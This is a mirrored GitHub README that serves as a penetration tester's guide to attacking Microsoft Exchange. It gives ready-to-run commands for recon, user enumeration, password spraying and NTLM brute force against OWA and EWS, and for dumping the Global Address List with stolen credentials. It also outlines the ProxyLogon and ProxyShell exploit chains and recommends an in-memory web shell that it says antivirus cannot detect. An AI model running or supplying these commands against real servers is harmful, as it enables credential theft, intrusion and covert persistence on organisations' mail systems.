Giter Site home page Giter Site logo

pjgmonteiro / exchange-penetration-testing Goto Github PK

View Code? Open in Web Editor NEW

This project forked from kh4sh3i/exchange-penetration-testing

0.0 0.0 0.0 6.39 MB

The great Microsoft exchange hack: A penetration tester’s guide (exchange penetration testing)

License: Creative Commons Zero v1.0 Universal

Python 13.26% C# 1.52% PowerShell 85.22%

exchange-penetration-testing's Introduction

exchange penetration testing

The great Microsoft exchange hack: A penetration tester’s guide (exchange penetration testing)

1) Recon

sudo python3 get_exchange_version.py https://mail.target.com

2) Bruteforce

use MailSniper enum

Import-Module MailSniper.ps1
Invoke-DomainHarvestOWA -ExchHostname mail.domain.com

Password Spray

  • PasswordSprayOWA : will attempt to connect to an OWA portal and perform a password spraying attack using a userlist and a single password.
  • PasswordSprayEWS : will attempt to connect to an EWS portal and perform a password spraying attack using a userlist and a single password.
Import-Module MailSniper.ps1
Invoke-PasswordSprayOWA -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Spring2021 -Threads 15 -OutFile owa-sprayed-creds.txt
Invoke-PasswordSprayEWS -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Spring2021 -Threads 15 -OutFile sprayed-ews-creds.txt

python NTLM password Sparay

python3 bruteforce/bruteforce.py -t https://mail.domain.com/EWS/Exchange.asmx -U users.txt -p TestPassword

3) GAL

The Microsoft Exchange Global Address List (GAL) is a list of all end users and their respective email addresses within an Exchange Server organization that uses Microsoft Outlook for email.

use exchanger.py impacket

python GAL/exchanger.py DomainName/Username:"Password"@mail.domain.com nspi list-tables

use ruler

GAL/ruler-linux64 --url https://mail.domain.com/autodiscover/autodiscover.xml --email [email protected] -d DomainName -u Username -p Password --debug --verbose  abk dump --output gal.txt 

use ewsManage.py

python3 GAL/ewsManage.py mail.domain.com 443 plaintext DomainName Username Password findallpeopl
  • for export GAL we should enum valid username,password and email first !

ProxyLogon is the formally generic name for CVE-2021-26855, a vulnerability on Microsoft Exchange Server that allows an attacker bypassing the authentication and impersonating as the admin. We have also chained this bug with another post-auth arbitrary-file-write vulnerability, CVE-2021-27065, to get code execution.

CVE-2021-34473 Microsoft Exchange Server Remote Code Execution Vulnerability. This faulty URL normalization lets us access an arbitrary backend URL while running as the Exchange Server machine account. Although this bug is not as powerful as the SSRF in ProxyLogon, and we could manipulate only the path part of the URL

6) WebShell

  • GhostWebShell (Author: Soroush Dalili (@irsdl)) only load in Ram and AV can not detect it !
  • it useful in proxylogn and proxy shell
use GhostWebShell.cs

most famous cve

cve-2021-31206
cve-2021-31207
cve-2021-34473
cve-2021-34523
cve-2021-26855
cve-2021-26857
cve-2021-26858
cve-2021-27065
cve-2015-1635

Reference

exchange-penetration-testing's People

Contributors

dependabot[bot] avatar kh4sh3i avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.